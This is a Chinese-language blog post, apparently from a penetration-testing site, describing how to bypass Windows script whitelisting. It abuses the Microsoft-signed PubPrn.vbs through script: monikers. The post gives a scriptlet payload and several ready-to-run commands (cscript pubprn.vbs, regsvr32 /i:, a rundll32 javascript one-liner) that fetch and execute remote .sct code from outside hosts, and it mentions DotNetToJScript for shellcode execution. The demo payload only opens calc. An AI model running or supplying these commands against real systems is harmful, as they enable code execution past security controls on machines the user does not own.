利用script和scriptlet moniker绕过脚本白名单限制

没事儿看了一下subtee和enigma0x3今年在BSides Nashville 2017上的演讲,觉得这两个猥琐男简直不能再猥琐了 :-)其中有一个猥琐小技巧,又可以让我们好好hunting一番了。我这里先简单介绍一下吧:

在很多时候我们发现我们在目标机器环境里想要运行个js或者vbs脚本很困难,原因就是因为好多环境里使用了白名单限制机制只允许特定签名的脚本文件可以执行。在这样的环境里,我们应该怎么样去执行这些脚本呢?

首先在windows 7以上系统中,有这样一个目录:c:\windows\system32\printing_admin_scripts\, 在这个目录下面会有一个文件夹,此文件夹的命名会根据系统的语言版本而有所不同(中文系统下是 zh-cn, 而英文为 en-US等),在这个文件夹下会有一些系统自带的vbs脚本,这些脚本都是有着微软签名的,也就是说肯定可以执行的。

 

 

在这些文件中,有一个文件叫做PubPrn.vbs,这个文件的代码中有这么几行:

 

 

 

这个脚本执行的时候会接受两个参数,第一个参数是一个网络地址,我们可以忽略它,随便填一个就ok。第二个参数会被传递给GetObject方法,而这个方法可以使用script和scriptlet 这两个moniker直接指定一个网络地址。因此利用方法如下:

编写如下测试脚本,并上传到一个web server上:

COM Scriptlet的示例

test.wsc:(这里是测试的一个弹出计算器的脚本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0"?>
 
<package>
 
<component id="testCalc">
 
<script language="JScript">
 
<![CDATA[
 
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
 
]]>
 
</script>
 
</component>
 
</package>

您还可以使用James Forshaw(@tiraniddo)的工具DotNetToJScript中COM Scriptlet中扩展JScript / VBScript,允许Win32 API访问,甚至Shellcode执行。

然后在目标机器上执行如下命令:

1
cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct

 或者:

1
C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 "script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct

  

 

由于VBScript依靠COM来执行操作,因此它在许多Microsoft签名的脚本中被大量使用。虽然这只是一个例子,但一定会有其他可以以类似的方式被利用

 附上sct其他姿势技巧:

regsvr32 /s /u /n /i:cacl.sct   scrobj.dll

 

regsvr32 /s /u /n /i:http://ys-h.ys168.com/581339150/k4M1K75557NMJVJgWw6/cacl.sct  c:\windows\SysWOW64\scrobj.dll

rundll32远程执行:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct");this.close()

 

 

posted @   渗透测试中心  阅读(1047)  评论(0编辑  收藏  举报
编辑推荐:
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
点击右上角即可分享
微信分享提示